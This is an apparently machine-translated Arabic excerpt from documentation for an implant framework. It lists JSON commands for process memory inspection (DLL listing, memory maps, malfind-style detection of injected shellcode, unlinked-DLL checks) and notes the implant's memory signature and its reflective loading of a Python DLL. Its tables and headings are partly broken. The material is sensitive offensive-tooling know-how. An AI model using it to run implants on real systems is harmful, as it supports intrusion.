| { "op": "dll_list", "pid": 1234 } | ||
| { "op": "dll_list", "pid": "all" } |
---
### mem_map (0x46)
تعداد مناطق الذاكرة الافتراضية عبر `VirtualQuery`/`VirtualQueryEx`. يُرجع متسلسلًا بتنسيق postcard: `Vec<ProcessResult<MemRegion>>`. يتخطى مناطق FREE؛ تتضمن مناطق IMAGE اسم الوحدة وقسم PE.
| الحقل | النوع | |
|-------|------|-|
| pid | u32 أو `"all"` | *اختياري* (إذا حذفت = العملية الحالية؛ `"all"` = كل عملية يمكن الوصول إليها) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
ابحث عن مناطق الذاكرة القابلة للتنفيذ الخاصة الملتزمة — مؤشرات على حقن الشيلكود أو مكتبات DLL الانعكاسية. يتجاوز الصفحات الفارغة ويسجل المناطق التي تحتوي على رؤوس MZ. يعيد سلسلة Vec<ProcessResult<MalfindHit>> مسلسلة بتنسيق Postcard.
| الحقل | النوع | |
|---|---|---|
| pid | u32 أو "all" | اختياري (احذف = العملية الحالية؛ "all" = كل عملية يمكن الوصول إليها) |
| { "op": "malfind" } | ||
| { "op": "malfind", "pid": 1234 } | ||
| { "op": "malfind", "pid": "all" } |
---
### ldr_check (0x48)
قم بإجراء مرجع تبادلي لمناطق ذاكرة IMAGE مقابل قائمة وحدات PEB للعثور على DLLs غير مرتبطة أو مخفية — المناطق التي تحتوي على رؤوس MZ غير موجودة في `InLoadOrderModuleList`. يُرجع `Vec<ProcessResult<LdrCheckHit>>` مسلسلًا باستخدام postcard.
| الحقل | النوع | |
|-------|------|-|
| pid | u32 أو `"all"` | *اختياري* (الحذف = العملية الحالية؛ `"all"` = كل عملية يمكن الوصول إليها) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
مثل جميع الأطر، فإن الغرسة لها بصمة مميزة في الذاكرة، والعديد من السلاسل النصية العادية التي تكشف عنها. يمكنك بناء تواقيع بناءً على ملف shellcode الأساسي: out/shellcode.bin
يمدد هذا المشروع Rustic64Shell من safedev.
تم تحميل مكتبة Python DLL بشكل انعكاسي من farfella